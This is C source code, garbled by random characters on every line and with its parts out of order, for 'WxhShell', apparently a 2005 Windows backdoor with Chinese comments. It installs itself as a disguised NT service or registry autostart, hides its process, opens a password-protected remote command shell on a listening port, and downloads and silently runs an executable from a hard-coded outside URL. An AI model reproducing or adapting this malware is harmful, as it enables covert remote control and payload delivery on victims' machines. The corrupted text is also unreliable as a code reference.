DWORD BasePriority; 0tl
ULONG UniqueProcessId; lQ)8zI
ULONG InheritedFromUniqueProcessId; K;YK[M1!
} PROCESS_BASIC_INFORMATION; =b;v:HC
c[Y7tj%y
PROCNTQSIP NtQueryInformationProcess; O[-wm;_(=*
H p1cVs
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T$'Ja'9Kj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R(hqBa/V
M>'-P
HANDLE hProcess; } #$Y^ +UN
PROCESS_BASIC_INFORMATION pbi; n2TvPt\
^%C.S :
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); []u!piW
if(NULL == hInst ) return 0; ,. E:mm
3J@#V '
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IoA"e@~t
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ofN|%g /
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AU)Qk$c
&;,w})
if (!NtQueryInformationProcess) return 0; O/Da8#S<
<iL+/^#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m-;u]X=a
if(!hProcess) return 0; B-Fu/n
n /rQ*hr
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mWO=(}Fb\
w8>p[F5`O
CloseHandle(hProcess); cDLS)
:JPI#zZun
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rs!J<CRq
if(hProcess==NULL) return 0; -
5A"TNU
siOeR@>X
HMODULE hMod; `oq
3G }
char procName[255]; /(vT49(]
unsigned long cbNeeded; x!Wl&
`<[Zs]Fe4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2< ^B]N
xOZ?zN
CloseHandle(hProcess); /X8b=:h
}!B<MGBd
if(strstr(procName,"services")) return 1; // 以服务启动 U4Qc$&j>
sHAzg^n}r
return 0; // 注册表启动 lK}F>6^\
} eZf-i1lJ
z07!i@ue~
// 主模块 !dmI}<@&k
int StartWxhshell(LPSTR lpCmdLine) 1{"e'[L
{ Lw-)ijBW
SOCKET wsl; cC>.`1:
BOOL val=TRUE; Km-lWreTH
int port=0; jLcW;7OAC
struct sockaddr_in door; e}aD<EG
QK//bV)
if(wscfg.ws_autoins) Install(); R0{n0Br
Nnx"b 5I}n
port=atoi(lpCmdLine); TN` pai0
+dR$;!WB3
if(port<=0) port=wscfg.ws_port; /k7`TUK
%#"uK:(N
WSADATA data; Pbz-I3+66
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?^k-)V
a*=\-;HaZ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dB< \X.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U4M!RdG
door.sin_family = AF_INET; zYF'XB]4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~/
"aD
door.sin_port = htons(port); [L9e.n1
A2F+$N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (\M&/X~q
closesocket(wsl); H.Pts>3r(
return 1; KXYq|w
} \@gs8K#
!)
LMn
if(listen(wsl,2) == INVALID_SOCKET) { 5a-8/.}cP
closesocket(wsl); t3G%}d?
return 1; v@< "b U
} FWPkvL
Wxhshell(wsl); 5GC{)#4
WSACleanup(); YAd.i@^
aS:17+!
return 0; 82>zu}
~9 K4]5K-
} 7nfQ=?XNK
=7#)8p[
// 以NT服务方式启动 v-&^G3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c5^i5de
{ 4B!]%Mw;c
DWORD status = 0;
03_tt7
DWORD specificError = 0xfffffff; Rl<~:,D
~(G]-__B<
serviceStatus.dwServiceType = SERVICE_WIN32; F|Jo|02
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kXv
-B-wOj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4z?6[Cg<
serviceStatus.dwWin32ExitCode = 0; %p@A8'b
serviceStatus.dwServiceSpecificExitCode = 0; 1+Ja4`o,iS
serviceStatus.dwCheckPoint = 0; 0=7C-A1(D
serviceStatus.dwWaitHint = 0; l$MX\
&vd9\Pp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ewu 7tq Z
if (hServiceStatusHandle==0) return; d\xh>o
Uu8Z2M
status = GetLastError(); bV`Zo(z
if (status!=NO_ERROR) #%B1,.A
{ JFl@{6c
serviceStatus.dwCurrentState = SERVICE_STOPPED; h dPKeqg7
serviceStatus.dwCheckPoint = 0; O*!+D-
serviceStatus.dwWaitHint = 0; Q]7r?nEEhW
serviceStatus.dwWin32ExitCode = status; 4ILCvM
serviceStatus.dwServiceSpecificExitCode = specificError; p}O@%*p.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u6cWLVt
return; Cz m`5
} o^7}H{AE
^vJ08gu_W
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0 UjT<t^F
serviceStatus.dwCheckPoint = 0; &c?-z}=G
serviceStatus.dwWaitHint = 0; \MX>=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^MDBJ0
I.
} ;. /Tv84I^
nBZqhtr
// 处理NT服务事件,比如:启动、停止 _9""3O
VOID WINAPI NTServiceHandler(DWORD fdwControl) '<$(*
{ N2xgyKy~
switch(fdwControl) 7@|(z:uw
{ 6^}GXfJAc
case SERVICE_CONTROL_STOP: e,|"9OK
serviceStatus.dwWin32ExitCode = 0; ^cBA8 1
serviceStatus.dwCurrentState = SERVICE_STOPPED; xw]Zo<F
serviceStatus.dwCheckPoint = 0; w,9$*=k
serviceStatus.dwWaitHint = 0; X62z>mM
{ +
ECV|mkk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .K;*uq:0
} hH`yQGZ
return; $Ob]JAf}
case SERVICE_CONTROL_PAUSE: 23&;28)8
serviceStatus.dwCurrentState = SERVICE_PAUSED; {Km|SG[-q
break; XR]]g+Z
case SERVICE_CONTROL_CONTINUE: )xlNj$(x5n
serviceStatus.dwCurrentState = SERVICE_RUNNING; c"77<Db$
break; a{el1_DIGK
case SERVICE_CONTROL_INTERROGATE: +#,t
break; auaFP-$`f
}; ZXe[>H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b]Oc6zR,,~
} 1m|1eAGS{
PBR+NHrZ
// 标准应用程序主函数 H Viu7kue`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1K4LEga`
{ QWxCNt:^?
}DY^a'wJ-
// 获取操作系统版本 boJQ3Xc
OsIsNt=GetOsVer(); qS+'#Sn
GetModuleFileName(NULL,ExeFile,MAX_PATH); SQW A{f
:.DCRs$Q
// 从命令行安装 Cf2rRH
if(strpbrk(lpCmdLine,"iI")) Install(); mWta B>f
hFs0qPVY
// 下载执行文件 DV]Kd
7
if(wscfg.ws_downexe) { &%C4rAd2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M\>y&'J-
WinExec(wscfg.ws_filenam,SW_HIDE); W;Ox H"eC
} J+w"{ O
{b7P1}>-*
if(!OsIsNt) { =KMd! $J\
// 如果时win9x,隐藏进程并且设置为注册表启动 /Y|9!{.
HideProc(); :G$NQ*(z
StartWxhshell(lpCmdLine); l{_>?]S5
} Pg|q{fc
else m-7^$
if(StartFromService()) VS1gg4tCv
// 以服务方式启动 z| i$eF;x3
StartServiceCtrlDispatcher(DispatchTable); HC+(FymV
else $BkdC'D
// 普通方式启动 ,dK% [
StartWxhshell(lpCmdLine); G2
xYa$&][
E!C~*l]wJx
return 0; f.Q?-M
} 0'c<EJ
=HYMX"s
d\'M ~VQ
rS{Rzs^@
=========================================== nRb#M
6pxj9@X+
S!up2OseW
`"Tx%>E(U
3,S5>~R=
`{ou4H\
" \[+ZKj:
80c\O-{
#include <stdio.h> i!ejK6Q
#include <string.h> r]kLe2r:B
#include <windows.h> 1!0BE8s"@
#include <winsock2.h> >c;qIP)Z
#include <winsvc.h> J$]d%p_I
#include <urlmon.h> 71w
4}LGE>
#pragma comment (lib, "Ws2_32.lib") ATPc~f
#pragma comment (lib, "urlmon.lib") b6R0za
.#lQZo6$\|
#define MAX_USER 100 // 最大客户端连接数 \/S?.P#L~
#define BUF_SOCK 200 // sock buffer }7wQFKME
#define KEY_BUFF 255 // 输入 buffer c3g\*)Jz"F
X;6&:%ZL@^
#define REBOOT 0 // 重启 4$1sBY/
#define SHUTDOWN 1 // 关机 p+#uPY1#
~?+Jt3?,
#define DEF_PORT 5000 // 监听端口 "((6)U#
oC^-" (#
#define REG_LEN 16 // 注册表键长度 rM_8piD
#define SVC_LEN 80 // NT服务名长度 ^mkplp
a
y=G
// 从dll定义API |!flR? OU
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .lOEQLt
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )xT_RBR
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gMFTZQsP
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mVP@c&1w?
\
Lrg:
// wxhshell配置信息 q#c\
struct WSCFG { +f;z{)%B
int ws_port; // 监听端口 *-ZJF6
char ws_passstr[REG_LEN]; // 口令 !H~G_?Mf\O
int ws_autoins; // 安装标记, 1=yes 0=no .2Y"=|NdA
char ws_regname[REG_LEN]; // 注册表键名 Mp7r`A,6
char ws_svcname[REG_LEN]; // 服务名 Y[
a$~n^:n
char ws_svcdisp[SVC_LEN]; // 服务显示名 Vdh5s 292h
char ws_svcdesc[SVC_LEN]; // 服务描述信息 &NB[:S=
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;_1D-Mf
int ws_downexe; // 下载执行标记, 1=yes 0=no :&9#p%/
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N=)N
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 maXQG&.F
Q<w rO
}; =uMoX
-
L&. 9.Ll
// default Wxhshell configuration E{(7]Wri
struct WSCFG wscfg={DEF_PORT, f* p=]]y
"xuhuanlingzhe", <Mxy&9}ic
1, `:R8~>p
"Wxhshell", gX.4I;
"Wxhshell", AdKv!Ta5b
"WxhShell Service", 1`X{$mxw
"Wrsky Windows CmdShell Service", xpRQ"6
"Please Input Your Password: ",
AQ'~EbH(
1, Aum&U){yY
"http://www.wrsky.com/wxhshell.exe", Kw"7M~
"Wxhshell.exe" o3qBRT0[R
}; M,3sK!`>
vqJiMa j@Z
// 消息定义模块 G#
.z((Rj
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m80Q Mosp
char *msg_ws_prompt="\n\r? for help\n\r#>"; u\<